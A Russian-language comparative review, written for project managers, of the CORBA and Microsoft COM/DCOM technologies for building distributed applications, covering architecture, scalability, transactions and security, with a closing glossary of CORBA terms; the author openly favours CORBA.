Данный обзор содержит сравнительный анализ двух наиболее популярных и комплексных систем создания распределенных приложений, а именно, CORBA консорциума OMG и COM (DCOM, COM+) фирмы Microsoft. Этот обзор предназначен главным образом для менеджеров проектов, руководителей информационных служб и др., т.е. для тех, кому приходится принимать ответственные, стратегические решения. Вследствие этого, в нем будут отсутствовать чисто технические аспекты обоих технологий, которые интересны только для разработчиков.
Кроме того, при написании обзора не ставилась задача сделать окончательный вывод типа ... таким образом, CORBA (COM), бесспорно, лучше, чем COM (CORBA). Связано это не с модной в наше время политкорректностью или отсутствием у автора своей точки зрения по этому вопросу. Дело даже не в том, что существуют определенные трудности с формализацией такого сравнения - я мог бы представить результаты сравнительных анализов, в которых используются численные оценки (баллы), выставленные экспертами, весовые коэффициенты и прочее, что придает отчету серьезный и весомый вид. Дело в том, что COM и CORBA можно сравнивать только с учетом определенных допущений. Отказ от таких допущений легко позволяет получить какой угодно результат. Вот эти допущения:
· CORBA, в отличие от COM'а, является концепцией, а не ее реализацией. Когда мы говорим COM, то понимаем под этим скорее набор конкретных средств - элементов операционной системы, библиотек, утилит и т.п., являющихся составной частью того, что называется Microsoft Windows. Под термином CORBA понимается именно сложная и развитая концепция, сформулированная на уровне специального языка описаний - IDL. Реализации же этой концепции могут сильно отличаться друг от друга по различным критериям, наиболее важным в том или другом случае. Inprise/Corel VisiBroker и Application Server, BEA WebLogic, Iona Orbix, Oracle Application Server и картриджи Oracle, IBM BOSS - все эти продукты используют те или иные возможности CORBA. Технология Sun Enterpise JavaBeans создана поверх CORBA и использует такие ее возможности, как удаленный вызов объектов, службу имен, управление транзакциями. Реализация EJB фирмы Inprise связано с CORBA еще более тесным образом. Мы будем сравнивать COM и CORBA именно как концепции создания распределенных систем, а не как ту или иную их реализацию.
· При работе с реальным проектом необходимо учитывать область применения той или иной технологии. COM (как цельное и комплексное решение) способен функционировать только под Windows NT/Windows2000. Рассуждения о переносе COM на другие операционные системы в настоящий момент носят скорее рекламный характер. Ни компонентная модель COM (т.е. ActiveX), ни монитор транзакций (Microsoft Transaction Server, MTS) не способны работать нигде, кроме Windows, и сама Microsoft не проявляет никакой активности в этом напрвлении (вопросами переноса тех или иных элементов COM на другие платформы занимается консорциум Open Group). CORBA является многоплатформенным решением просто по определению.
· Помимо чисто технологических аспектов, при принятии решения необходимо оценить затраты на закупку необходимого программного обеспечения, его сопровождения и обучение персонала. COM (в отличие от CORBA) официально является бесплатной технологией. Вы получаете все необходимое, просто приобретя, например, Windows NT Server. (Кстати, сам факт конкуренции дорогостоящей технологии с аналогичной, но бесплатной, многое говорит об их технических возможностях).
· Наличие готовых серверов приложений, пригодных для решения вашей задачи. Если Вы можете решить свои проблемы, используя функциональность Microsoft Office, то ничего лучше COM вы, естественно, не найдете.
· Таким образом, главной задачей настоящего обзора является попытка помочь руководителю того или иного уровня принять квалифицированное решение в каждом конкретном случае. Поскольку и CORBA, и COM позиционируются соответственно OMG и Microsoft как универсальные технологии создания распределенных систем, мы будем оценивать и сравнивать их именно с этой точки зрения. Предполагается, что для проекта используется платформа Windows (в противном случае нечего рассматривать COM) и имеется достаточно средств для закупки основных стандартных частей той или иной реализации (иначе обсуждение CORBA теряет смысл).

Концептуальный фундамент технологии
COM
Технология создавалась фирмой Microsoft как средство взаимодействия приложений (в том числе составных частей операционной системы) Windows, функционирующих на одном компьютере, с последующим развитием для использования в пределах локальной сети. Главная задача на момент создания - обеспечение технологии Object Linking and Embedding (OLE 1.0). Характерно, что обмен данными между приложениями (Dynamic Data Exchange, DDE) первоначально строился не по COM-технологии, а с использованием механизма сообщений (messages). Развитие технологии идет по мере добавления новых возможностей. Как универсальная технология взаимодействия приложений COM начал использоваться с OLE 2.0 (1991). Концепция технологии неразрывно связана с ее реализацией. Появление новых возможностей - это просто появление новых библиотек, функций API и утилит Windows. Общий знаменатель технологии - двоичная структура объекта, хотя в настоящий момент существует язык описания структуры объекта - Interface definition Language (IDL).
CORBA
Технология создавалась консорциумом OMG как универсальная технология создания распределенных систем в гетерогенных средах. OMG представляет собой некоммерческую организацию, являющуюся содружеством разработчиков программного обеспечения и его потребителей, объединивших свои усилия для создания спецификаций этой технологии. В настоящий момент в OMG состоит более 800 членов, включая всех сколько-нибудь серьезных производителей программного обеспечения (и даже c недавнего времени Microsoft). Первая спецификация CORBA появилась в 1991 г. Новые возможности официально считаются добавленными в CORBA в момент утверждения соответствующей спецификации. Как правило, в разработке спецификации участвуют крупнейшие специалисты в данной области. Разработка реализации - задача конкретной фирмы. Обычно от утверждения спецификации до появления высококачественной реализации проходит довольно много времени - иногда несколько лет. Общий знаменатель технологии - объявления на языке IDL, который является сердцем CORBA с момента ее появления. (Существуют три различных языка описаний с одним и тем же названием - OSF IDL, Microsoft IDL и OMG IDL).

Выводы
Технология CORBA носит существенно более общий и универсальный характер, чем COM, что заложено в ее фундаменте. Опережение разработки спецификаций (по сравнению с реализациями) позволяет добиться более связной, целостной и гармоничной системы. С другой стороны, при разработке реального проекта нужно предварительно убедиться, что высококачественная реализация того или иного сервиса CORBA уже доступна (источниками проблем могут служить, например, Persistence Service и Security Service).

Комплексность системы
COM
COM содержит все необходимое, что нужно для построения распределенной системы: технологию удаленного вызова методов (как статических, так и динамических), базы данных серверных объектов (библиотеки типов), которые могут быть импортированы для анализа структуры серверов COM, универсальный протокол обмена между клиентами и серверами, спецификации так называемых составных документов (ActiveDoc), объектный монитор транзакций (MTS), компонентную модель (ActiveX) и др. Все составные части прекрасно соответствуют друг другу в рамках модели COM. Уникальной возможностью COM является универсальная технология доступа к базам данных - OLE DB/ADO.
CORBA
В настоящий момент CORBA не имеет своей собственной компонентной модели; работа над ней началась в 1998 г. и еще не завершена. Это главный серьезный недостаток. Правда, он несколько компенсируется наличием основанной на CORBA компонентной моделью Enterprise JavaBeans, так что программисты на Java находятся в привилегированном положении. Все остальное, что присутствует в COM, имеется и в CORBA, и даже более того - за исключением универсальной технологии доступа к БД. Опять-таки, Java-программисты имеют преимущество и здесь - за счет наличия общей для Java технологии доступа к данным JDBC.

Выводы
В настоящий момент COM более законченная система, но на более низком уровне и при существенно большем количестве ограничений, определяемых самой концепцией системы.

Используемые языки программирования
COM
Потенциально COM могут поддерживать самые различные языки программирования - все решает фирма Microsoft. Добавление некоторых расширений или экспертов (wizard) в систему разработки позволит использовать для работы с COM любой язык программирования. В настоящий момент наиболее широко используются Visual Basic, C++ и Delphi. Серьезные проблемы возникли при использования языка, на который возлагались особые надежды - с Java. Microsoft добилась прекрасного взаимодействия Java с COM, но достигнуто это было путем отказа от переносимости таких Java-программ на другие виртуальные машины Java. Не случайно продукт фирмы Microsoft - J++ - не содержит в названии Java. Вообще, уровень стандартизации для COM достаточно слаб. Это не обязательно нужно рассматривать как недостаток - в конце концов, язык C лет пятнадцать прекрасно обходился без формального стандарта.
CORBA
Под стандартом применительно к CORBA понимается то, что официально утверждено консорциумом OMG. Надо сказать, что это очень высокий уровень легитимности, так как авторитет OMG в компьютерном мире чрезвычайно высок. В настоящий момент стандартизовано отображение языка IDL на 6 языков программирования - Ada, C, C++, Cobol, Java и Smalltalk. Существуют также отображения на Pascal (точнее, Delphi), Perl, Python и еще десяток языков.
Наиболее используемыми языками в настоящий момент являются Java (вследствие прекрасного взаимодействия Java-технологий, особенно JDBC, RMI, JNDI и EJB, с CORBA), и C++ - как самый эффективный, мощный и распространенный язык компьютерной индустрии.
Выводы
Обе технологии не испытывают особых проблем с точки зрения взаимодействия с языками программирования. Некоторые преимущества имеет CORBA - за счет более строгой стандартизации и более богатого выбора доступных средств разработки.

Уровень абстракции
COM
COM реализует высокий уровень абстракции - все вопросы низкого уровня, такие, как взаимодействия с операционной системой или сетевыми средствами, "спрятаны" от прикладного программиста.
CORBA
CORBA обеспечивает даже несколько более высокий уровень за счет базировании технологии исключительно на языке описания IDL с последующим отображением таких спецификаций на конкретный язык программирования, а также некоторых возможностей, например, автоматического (т.е. прозрачного для программиста) распространения контекста транзакций.
Выводы
Обе технологии реализуют примерно одинаковый и достаточно высокий уровень абстракций.

Поддержка компонентной модели
COM
Компонентная модель Microsoft, базирующаяся на COM-технологии, в основе имеет двоичную структуру объектов. Это не вызывает никаких проблем при ориентации на одну платформу и операционную систему. Безусловным достоинством такой модели является простота создания компонентов с использованием различных языков программирования. С другой стороны, такая компонентная модель неизбежно связана с определенными ограничениями и недостатками. Одним из самых серьезных недостатков является то, что ее нельзя, строго говоря, назвать объектно-ориентированной.
CORBA
Как уже говорилось, CORBA в настоящее время не имеет своей компонентной модели. Пусть это не имеет практического значения для Java-программистов, но в общем случае эта та область, где OMG (и фирмам-производителям программного обеспечения) еще предстоит серьезно поработать.
Выводы
Это та область, где COM пока имеет существенные преимущества по сравнению с CORBA. C другой стороны, при разработке реальных проектов использование на стороне сервера компонентов Enterprise JavaBeans, построенных поверх инфраструктуры CORBA, предоставляет разработчику значительные преимущества по сравнению с компонентами ActiveX.

Универсальный протокол обмена
COM
Передача данных между клиентом и сервером основана на наборе типов, которые называются OLE Automation types. В принципе, схема маршалинга (в том числе типы передаваемых данных) определяется парой стандартных интерфейсов COM. Реализовав по-своему некоторые из методов этих интерфейсов, можно определить свою схему маршалинга. Впрочем, это нетривиальная задача, и обычно разработчики используют уже готовую стандартную реализацию. Упаковка данных и их передача могут быть реализованы поверх различных сетевых протоколов.
CORBA
CORBA значительно более строго и формально подходит к механизмам обмена и передаче данных. Определен протокол CORBA (General Inter-ORB Protocol, GIOP) - и его реализация на базе протокола TCP/IP (Internet Inter-ORB Protocol, IIOP). CORBA способна передавать данные различных типов, включая структуры (struct) и объединения (union), в том числе содержащие рекурсивные определения. Предусмотрена система описания и контроля типов - как на уровне IDL-деклараций, так и динамическая. Для каждого языка используется свое отображение данных IDL. В версии 2.3 появился новый, заимствованный из RMI механизм передачи объектов CORBA - так называемая "передача по значению (objects-by-value)". В предыдущих версиях CORBA при вызове удаленных методов объекты можно было передавать только по ссылке.
Выводы
CORBA предоставляет значительно больше возможностей, и эти возможности строго формализованы - в противном случае было бы невозможно обеспечить совместную работу различных средств от различных производителей программного обеспечения.

Поддержка со стороны различных производителей и открытость
COM
В настоящий момент официальным "хранителем стандарта" технологии COM является консорциум Open Group, хотя "главным игроком на этом поле" является, конечно же, Microsoft. Поддержкой технологии COM занимаются многие небольшие фирмы - некоторые из них создают компоненты ActiveX, некоторые - как Software AG - занимаются переносом фрагментов COM на другие платформы, некоторые - как Borland - создают RAD-инструменты, основанные в том числе и на COM. В любом случае, только Microsoft решает, какая часть технологии и в каком виде попадает из лабораторий Microsoft в открытые спецификации.
CORBA
Ситуация с CORBA совершенно иная. CORBA является результатом совместных усилий огромного числа фирм, среди которых Sun, Oracle, IBM, Netscape/AOL, DEC/Compaq, JavaSoft, Borland/Visigenic (в настоящий момент в связи со слиянием Inprise и Corel принято решение о восстановлении имени Visigenic), BEA, Iona и многие другие. Можно сказать, что все производители программного обеспечения, которое должно функционировать на различных платформах и под управлением различных операционных систем, выбрали CORBA как стандартную инфраструктуру создания программных продуктов. Естественно, все спецификации CORBA являются полностью открытыми. В лагере сторонников CORBA просматривается четкая тенденция к тесному взаимодействию и некоторой унификации используемых технологий (в качестве примера можно привести отказ Sun и ORACLE от создания собственного ORB и лицензирование Visigenic VisiBroker).
Выводы
COM и CORBA имеют совершенно разный уровень открытости и поддержки со стороны ведущих фирм в компьютерной индустрии.

Развитость сервисной части
COM
COM предоставляет минимальный набор совершенно необходимых средств - кодогенераторы c IDL, утилиты управления доступом (dcomcnfg) и др. Как правило, разработчики пользуются теми или иными инструментами, встроенными в конкретные средства разработки (примером может служит утилита работы с библиотеками типов или эксперт создания ActiveX-объектов в Borland Delphi/C++ Builder).
CORBA
CORBA имеет очень развитую сервисную часть; например, только для поиска серверных объектов по различным критериям можно использовать 4 различных сервиса CORBA. Кроме того, OMG стремится к максимальной стандартизации вспомогательных возможностей CORBA.
Выводы
CORBA предоставляет разработчикам существенно большие возможности, чем COM, в области сервисов и вспомогательных средств. С другой стороны, COM-программисты обычно не испытывают какого-либо дискомфорта из-за их недостатка. Вследствие ограниченности области применения COM объективно нет необходимости в создании таких же развитых и универсальных средств, как это совершенно необходимо для CORBA.

Самодокументирование системы
COM
COM предусиатривает возможность создания локальной базы данных, хранящей информацию о COM-объектах, их интерфейсах, методах и т.д. для сервера приложений COM. Такая база данных называется библиотекой типов (type library). Использование библиотек типов не является обязательным для OLE, хотя это необходимо в технологии ActiveX. Для получения информации из type library пользователь должен явно импортировать ее, для чего необходимо выбрать соответствующую запись реестра Windows на конкретном компьютере.
CORBA
CORBA имеет аналог библиотеки типов COM - это так называемый Репозитарий Интерфейсов (Interface Repository). Чтобы оценить принципиальную разницу в подходе CORBA по сравнению с COM, достаточно сказать, что Репозитарий Интерфейсов CORBA сам представляет из себя объект CORBA со всеми вытекающими из этого возможностями. Помимо Репозитария Интерфейсов, CORBA использует Репозитарий Реализаций (Implementation Repository), который представляет из себя базу данных, содержащую информацию о серверах приложений CORBA.
Выводы
Средства интроспекции (самодокументрования) CORBA значительно более развиты, мощны, гибки и универсальны, чем аналогичные средства COM. CORBA-программисты получают дополнительные преимущества по сравнению со своими коллегами, работающими с COM, при использовании Java (Java-технологии очень тесно связаны с CORBA). Связано это с тем, что Java предусматривает свой уровень интроспекции, дополнительный по отношению к CORBA.

Технология и описание проекта
COM
Обычно объявления на языке IDL при работе с COM не являются существенной частью спецификации проекта, так как IDL-спецификации играют вспомогательную роль в COM-технологии вследствие ее базирования на двоичном стандарте объектов. Кроме того, язык Microsoft IDL не очень развит с точки зрения объявления типов данных, из которых строится программа.
CORBA
Проект с использованием CORBA всегда начинается с написания IDL-спецификаций (особый случай - использование Java, когда в принципе возможно генерировать стандартный код CORBA непосредственно на базе классов Java, хотя вряд ли это разумно для больших проектов.). Эти IDL-спецификации прекрасно отражают суть выполняемых действий с точки зрения функционирования распределенной системы. Синтаксис OMG IDL очень похож на синтаксис С++ (включая те же самые директивы препроцессора). Таким образом, IDL-спецификации могут с успехом использоваться как часть документации проекта.
Выводы
Описания OMG IDL более достоверны и существенно более наглядны, чем описания Microsoft IDL, в роли существенной части спецификации проекта.

Виды объектов
COM
Объекты COM всегда рассматривались (и продолжают рассматриваться) как серверные объекты, которые просто реализуют тот или иной набор методов. Различные объекты, реализующие один и тот же интерфейс и созданные с помощью обращения к одной и той же фабрике классов, не отличаются друг от друга. Объектная ссылка, которую получает клиент, является указателем на интерфейс и не содержит информации о конкретном объекте. Другими словами, COM оперирует объектами, не имеющими состояния. В общем случае, если клиент, используя одну и ту же объектную ссылку, в цикле вызвал десять раз один и тот же метод, он не может быть уверен, что он обратился к одному, а не к двум, пяти или десяти различным объектам. Естественно, объекты без состояния не имеет смысла хранить дольше, чем существует сервер приложений, в котором они были созданы. Такие объекты применительно к распределенным системам называются временными (transient). COM-объект - это конкретная переменная C++, Visual Basic или Pascal, находящаяся в оперативной памяти и существующая, пока работает создавший ее сервер приложений. Он может быть создана по запросу клиента или заранее (например, с помощью MTS). При работе с COM сопоставить с объектом какое-либо состояние - задача прикладного программиста. Это можно сделать, используя определенный режим создания объектов (выбрав модель управления потоками), хранить состояние объекта на стороне клиента (если это возможно) или использовать так называемые моникеры, которые можно рассматривать как обобщение понятия ключа записи в базе данных. Каждый из этих способов имеет очень существенные ограничения.
CORBA
Понятие "объекта" в CORBA принципиально отличается от своего COM-аналога. Объект CORBA не является переменной языка программирования и в общем случае время его существования не связано со временем работы серверных или клиентских приложений. СORBA-объект не занимает никаких ресурсов компьютера - оперативной памяти, сетевых ресурсов и т.п. Эти ресурсы занимает только так называемый "сервант" (servant), который является "инкарнацией" одного или нескольких CORBA-объектов. Именно сервант является переменной языка программирования. Пока не существует сервант, сопоставленный с конкретным объектом CORBA, этот объект не может обслуживать вызовы клиентов, но, тем не менее, он существует. Результатом создания объекта (при этом совершенно не обязательно при этом создается и сопоставляется с этим объектом соответствующий сервант!) является так называемая "объектная ссылка" CORBA. Объектная ссылка сопоставлена с этим, и только с этим объектом, и это сопоставление остается корректным в течение всего срока существования CORBA-объекта (может быть, в течение нескольких лет). Объектная ссылка CORBA правильно интерпретируется ORB'ами от любого производителя программного обеспечения. После уничтожения CORBA-объекта все объектные ссылки на него навсегда теряют смысл. С помощью объектной ссылки клиент вызывает методы объекта, при этом инкарнациями этого объекта могут быть различные серванты (не более одного одновременно), которые физически могут находиться даже на различных компьютерах.
Выводы
Объект COM может рассматриваться как достаточно примитивный частный случай объекта CORBA - как по своим возможностям, так и с точки зрения его цикла жизни. COM и CORBA предлагают совершенно несопоставимые возможности по созданию и управлению объектами, что жизненно важно для создания надежных и масштабируемых приложений.

Способы взаимодействия
COM
COM поддерживает как статический, так и динамический способ взимодействия клиента и сервера. Под динамическим способом понимается подход, когда проверка, реализует ли сервер нужный метод, а также все необходимые действия по выполнению удаленного вызова выполняются на этапе работы клиентского приложения, а не этапе его компиляции. При статическом вызове эти действия выполняются именно на этапе компиляции. Разумеется, статический способ предпочтительнее во всех отношениях (когда он возможен вообще). Для его использования сервер COM должен создать и экспортировать библиотеку типов, которая затем импортируется клиентом и используется как часть клиентского процесса.
CORBA
CORBA также поддерживает статический и динамический способ организации удаленных вызовов.
Выводы
Обе технологии предлагают примерно одинаковые возможности в этом плане. CORBA имеет определенные преимущества при использовании динамических вызовов за счет более развитых средств получения информации о серверах (репозитарии интерфейсов).

Производительность
COM
COM демонстрирует очень высокую производительность. Читатель, интересующийся этим вопросом, найдет большое количество очень интересной информации в прекрасной книге R. Orfali и D. Harkey "Client/server Programming with Java and CORBA", second edition, Wiley, 1998. Разумеется, производительность существенно зависит от того, какой способ - статический или динамический - вы используете.
CORBA
Для корректного сравнения CORBA и COM с точки зрения производительности необходимо составить целую систему тестов. Кроме того, необходимо учесть влияние использования того или иного языка программирования. На основе информации, приводимой Orfali и Harkey, а также результатов небольшого сравнительного тестирования, проведенного самим автором обзора (использовался Borland C++ Builder 4.0 и VisiBroker 3.3 для C++), можно сказать, что CORBA демонстрирует даже несколько более высокую производительность. Еще раз повторимся: производительность очень сильно зависит от количества и типов аргументов методов (не забывайте, что их нужно упаковать и передать по сети, а затем распаковать), от выбранной модели управления потоками, от используемых языков программирования (клиент и сервер при этом не обязательно должны быть написаны на одном языке), от конкретной реализации CORBA и многих других факторов.
Выводы
И COM, и CORBA демонстрируют примерно одинаковую (и очень высокую) производительность. Для CORBA говорить о конкретных цифрах можно только для конкретной реализации. В качестве примера приведем следующий факт: Inprise/Visigenic Visibroker прозрачным для разработчика образом работает по-разному в зависимости от того, находятся ли клиентский и серверный объект в одном адресном пространстве, в разных адресных пространствах, но на одном компьютере, или на разных компьютерах. Производительность при этом может отличается на порядок.

Масштабируемость
COM
Проблемы обеспечения масштабируемости не были заложены в фундамент технологии, если не считать ориентацию на использование только объектов без состояния. Существенным препятствием для создания масштабируемых приложения является очень жесткая связь между клиентом и сервером (объект, т.е. совокупность ресурсов на сервере, не может быть удален, пока клиент явно не укажет, что этот объект больше не нужен). В реальных проектах необходимо управлять состоянием объектов, и это затрудняет создание масштабируемых приложений, так как это обязанность не COM, а программиста. Сильной стороной COM является гибкая модель управления потоками. Основным инструментом, повышающим уровень масштабируемости COM-систем, является MTS.
CORBA
В отличие от COM, CORBA с самого начала рассматривалась как технология создания масштабируемых систем. Разделение собственно объектов CORBA и их сервантов, схемы соответствия между ними, характеристики объектных адаптеров, модели управления потоками и соединениями, схемы активации серверов приложений, универсальные решения по сохранению состояния объектов, автоматическое управление контекстом транзакций и безопасности - все это очень способствует решению данной проблемы.
Выводы
Масштабируемость системы во многом зависит от качества разработки проекта, продуманности принимаемых решений и квалификации менеджеров проекта и разработчиков. При сравнении технологий можно говорить о предпосылках, способствующих (или, наоборот, препятствующих) достижению нужных требований. При прочих равных условиях CORBA имеет громадные преимущества по cравнению с COM.

Устойчивость к сбоям
COM
Устойчивость к сбоям COM-систем находится на невысоком уровне, в том числе из-за уже упомянутой излишне жесткой привязки клиентов и серверов. Основным средством обеспечения устойчивости к сбоям (оно же средство управления нагрузкой серверов) является диспетчер, который позволяет перенаправлять вызовы клиента на различные сервера приложений COM. Не слишком содействует отказоустойчивости системы и необходимость выполнения "вручную" большого количества действий по управлению транзакциями.
CORBA
CORBA имеет несколько более высокий уровень устойчивости к сбоям за счет большей изоляции клиентов и серверов, автоматического сохранения состояния объектов, более мощной и продуманной схемы управления транзакциями (включая автоматический откат транзакций по тайм-ауту), а также автоматической привязки объектной ссылки и конкретного объекта CORBA.
Выводы
Проблема обеспечения устойчивости к сбоям, так же как и проблемы обеспечения масштабируемости, не рассматривались как первоочередные при разработке концепции COM. С CORBA ситуация обстоит во многом лучше, но проблемы остаются и здесь. Обе технологии не имеют (или почти не имеют) стандарных средств обеспечения устойчивости к сбоям. Такие компоненты, как VisiBroker Smart Agents, не являются стандартным средством CORBA (хотя они и способны решить многие проблемы при работе с реальными проектами.)

Управление транзакциями
COM
Монитором транзакции в COM является MTS. Сервер приложений COM должен быть написан в специальном стиле для того, чтобы иметь возможность взаимодействовать с MTS (такой сервер приложений должен быть реализован в виде DLL). MTS позволяет достаточно гибко управлять режимами выполнения транзакций в системе и поддерживает двухфазное завершение транзакций. Одним из существенных недостатков схемы управления транзакциями COM является необходимость явной передачи контекста транзакции в качестве аргумента при вызове удаленных методов. Такая схема не является ни эффективной, ни гарантирующей от ошибок (особенно при вовлечении в транзакцию большого количества объектов).
CORBA
Управление транзакциями берет на себя так называемый Сервис Управления Транзакциями CORBA (Object Transaction Service, OTS). Он является существенно более гибкой, продуманной и формализованной системой, чем MTS, и содержит все необходимое в рамках CORBA-модели. Сервер приложений CORBA и Сервис транзакций запускаются и работают независимо друг от друга. Важной особенностью CORBA является тесное взаимодействие OTS и ORB, что обеспечивает автоматическое распространение контекста транзакций в многопоточной распределенной среде. Спецификация CORBA предусматривает (необязательную) поддержку вложенных транзакций.
Выводы
На уровне спецификаций Сервис транзакций CORBA имеет определенные преимущества перед MTS. На практике для реализации этих преимуществ нужно предпринять определенные действия. Особенно это касается двухфазного подтверждения транзакций при работе с гетерогенными базами данных. Например, для реализации такой схемы при работе с Java необходимо иметь специальные JDBC-драйвера, которые, насколько мне известно, в настоящий момент не слишком доступны для широкого круга баз данных. В этом плане COM имеет серьезные преимущества за счет взаимодействия MTS со стандартной технологией доступа к базам данных OLE DB/ADO.

Обеспечение безопасности
COM
В настоящий момент система безопасности COM базируется на системе безопасности Windows NT/Windows 2000; кроме того, предусмотрена защита данных при их передаче с использованием Socket Security Layer (SSL). Отдельная проблема - обеспечение безопасности при передаче компонентов ActiveX с использованием протокола HTTP. Здесь используется система электронных подписей, лицензий и т.п. - говоря упрощенно, клиент выполняет код компонента, который пришел с "правильного" сервера.
CORBA
С CORBA дела обстоят сложнее - главным образом, в силу того, что ставилась задача создать универсальную систему безопасности, которая могла бы использовать все основные существующие в этой области технологии. Работа над Сервисом Безопасности (Security Service) продолжалась в течение 2 лет, и ее спецификация была принята в 1996 г. Она содержит около 250 страниц. Она позволяет обеспечить уровень безопасности B2 (уровень, близкий к высшему уровню защиты, который используется в государственных учреждениях). Предусмотрена идентификация пользователя, списки прав доступа к ресурсам, система аудита и многое другое. Особенно приятно, что разработчик не должен явно взаимодействовать с этим сервисом - это задача для ORB. Основная нагрузка возложена на системных администраторов. Все это прекрасно, но существует одна небольшая проблема - где взять полномасштабную, высококачественную реализацию этого сервиса? Такие реализации существуют (Gradient, Concept-5), но их использование ограниченно за пределами США. Сервис безопасности от Borland/Visigenic в этом году еще не появится (хотя работа над ним идет).
Выводы
В настоящий момент для реальных проектов для обеих технологий используются сходные решения в области обеспечения безопасности (идентификация на уровне операционной системы и кодирование информации с помощью SSL). Естественно, возможны варианты. Потенциально CORBA предоставляет существенно большие возможности - проблемы здесь организационного, а не концептуального плана.

Взаимодействие с Internet
COM
Основой взаимодействия через Internet при работе с COM являются расширения возможностей протокола HTTP, выполненные Microsoft. Броузеры Microsoft (Internet Explorer 3 и выше) позволяют выполнять код ActiveX-компонентов, полученных с Web-серверов. Кроме того, URL доступны при использовании COM - с ними могут работать моникеры.
CORBA
Спецификации CORBA не оговаривают использование Internet в качестве особого случая. Интеграция CORBA и Internet выполняется естественным образом - за счет использования протокола IIOP, построенного поверх TCP/IP. URL-имена могут быть использованы в качестве имен для Службы Именования CORBA. На практике производители программного обеспечения предоставляют расширения CORBA, упрощающие работу с Internet (VisiBroker URL Naming Service) или решающие те или иные проблемы - например, "обход" ограничений, накладываемых на апплеты Java, используемых в качестве CORBA-клиентов (например, Borland/Visigenic GateKeeper).
Выводы
CORBA (особенно при использования Java) без каких-либо проблем может быть интегрирована с Internet. Взаимодействие COM и Internet основано на использовании ActiveX и требует использования только броузеров, поддерживающих тег <Object> Microsoft. Косвенным образом проблемы совместной работы COM и Internet могут возникнуть из-за несовместимости виртуальной машины Java Microsoft с другими виртуальными машинами.

Скорость разработки систем
COM
Скорость разработки COM-систем может быть очень высокой за счет интенсивного использования компонентной модели ActiveX, а также универсальных подходов, таких, как OLE DB. Не составляет особого труда создание Internet-приложений с броузером Microsoft в качестве клиентского приложения.
CORBA
Скорость разработки CORBA-систем сильно зависит от используемой технологии. Наверное, максимально эффективным способом создания распределенных систем в настоящий момент является использование Java-технологий, основанных на CORBA - Enterprise JavaBeans и так называемых Application Server'ов, например, BEA WebLogic и Inprise Application Server. Использование этих технологий позволяет чрезвычайно быстро создавать высокоэффективные, масштабируемые, транзакционные сервера приложений. Клиентская часть таких систем может быть написана на любом языке программирования, поддерживающим CORBA.
Выводы
При прочих равных условиях CORBA позволяет создавать распределенные системы быстрее, чем COM, за счет большей функциональности middleware и, соответственно, меньшей нагрузки на прикладного разработчика.

Простота использования
COM
COM очень прост для простых небольших приложений и чрезвычайно сложен как инструмент создания комплексных систем. Он содержит большое количество "узких" мест - недостаточно гибкую стандартную схему маршалинга, отсутствие состояния объектов, низкая устойчивость к сбоям. Технология не является объектно-ориентированной в классическом смысле этого слова, что в общем случае не способствует простоте ее использования. Достоинством технологии является комплексность и универсальность подходов в рамках COM-модели.
CORBA
Сложность CORBA заключается в ее огромных возможностях. Программисту необходимо знать большое количество интерфейсов из различных сервисов CORBA, правильно использовать возможности объектных адаптеров и многое другое. Поскольку CORBA использует различные схемы отображения IDL на разные языки программирования, то программисту в общем случае надо знать их особенности для 2-3 наиболее широко используемых языков - в первую очередь, C++ и Java.
Выводы
Объективно CORBA сложнее за счет того, что она предназначена для решения существенно более сложных задач, чем COM. При разработке реальных проектов нужно иметь в виду, что распределение "интеллектуальной" нагрузки среди участников разработки для COM и CORBA несколько отличается: в случае COM требуются более квалифицированные (но более узко специализированные) программисты, а для CORBA можно задействовать программистов среднего уровня, но чрезвычайно важно иметь квалифицированных архитектора проекта и руководителей групп программистов.

Взаимодействие с другими технологиями
COM
COM является достаточно замкнутой и "самодостаточной" системой. В последнее время Microsoft тесно взаимодействует с OMG на базе создания спецификации моста "COM-CORBA". Вследствие существенных различий в возможностях, не представляет труда имитировать поведение COM-объекта как CORBA-объекта, но не наоборот.
CORBA
CORBA как технология в настоящий момент (до создания спецификаций, а затем и реализаций своей компонентной модели) является скорее инфраструктурой для создания распределенных систем. Не удивительно, что в этом качестве она активно взаимодействует с другими технологиями - в первую очередь с RMI и Enterprise JavaBeans. CORBA очень тесно - на уровне протокола ESIOP - взаимодействует с широко используемой, но морально устаревшей технологией DCE.
Выводы
CORBA является существенно более открытой, универсальной и гибкой системой, чем COM. И COM, и CORBA способны тесно и эффективно взаимодействовать со стандартными средствами обеспечения безопасности.

Общие выводы
Несмотря на внешнюю похожесть, что вызвано общностью решаемых задач, между COM и CORBA, пожалуй, больше различий, чем сходства. В большинстве случаев либо нецелесообразно использовать CORBA (для небольших и простых проектов под Windows просто по причине относительно высоких затрат на приобретение программного обеспечения, лицензий и пр.), либо практически невозможно использовать COM (для сложных, масштабируемых, высоконадежных проектов или просто при работе в гетерогенных средах, а не только в Windows). Windows-приложения, ориентированные на взаимодействие с Microsoft Office, всегда будут использовать COM; проекты с использованием Java и любых Java-технологий (кроме Microsoft J++), как говорится, "сам бог велел" строить на основе CORBA. Во многих случаях выбор технологии диктует выбор той или иной части проекта: если вы планируете работать, например, с ORACLE 8i, то, безусловно, гораздо лучше ориентироваться на CORBA. Область, где эти технологии реально конкурируют, на мой взгляд, очень невелика.
Как нетрудно заметить, автор настоящего обзора является сторонником CORBA, чего и желает всем своим читателям.
За дополнительной информацией обращайтесь в Interface Ltd.

Взято с http://delphiworld.narod.ru


Краткий словарь терминологии CORBA

AM Asynchronous Messaging. Служба асинхронного обмена сообщениями.

Application Object Прикладной объект. Представляет собой реализацию объекта для конкретного приложения.

BOA Basic Object Adapter. Адаптер, обеспечивающий доступ к сервисам брокера объектных запросов (ORB).

CORBA Component Object Request Broker Architecture. Архитектура брокеров объектных запросов. Объектная архитектура для создания сложных распределенных объектных программных систем.

CORBA domains Доменные объекты CORBA.

CORBA facilities Общие средства реализаций объектов, необходимых для большого числа приложений. Например, поддержка потоков заданий.

CORBA service Объектная служба CORBA (служба событий, служба транзакций, служба имен и т.д.).

DII Dynamic Invocation Interface. Интерфейс динамического вызова. Применяется для подключения объектов, не известных на момент компиляции приложения.

GIOP General Inter ORB Protocol. Протокол, посредством которого взаимодействуют между собой различные брокеры объектных запросов (ORB).

IDL Interface Definition Language. Язык описания интерфейсов, разработанный консорциумом OMG.

IIOP Internet Inter ORB Protocol. Реализация протокола GIOP на базе TCP/IP.

INS Interoperable Naming Service. Служба имен, предназначенная для прозрачного поиска и вызова объектов, не зависящих от конкретной реализации ORB.

Implementation Repository Репозитарий Реализаций. Архив, содержащий информацию о серверах приложений CORBA.

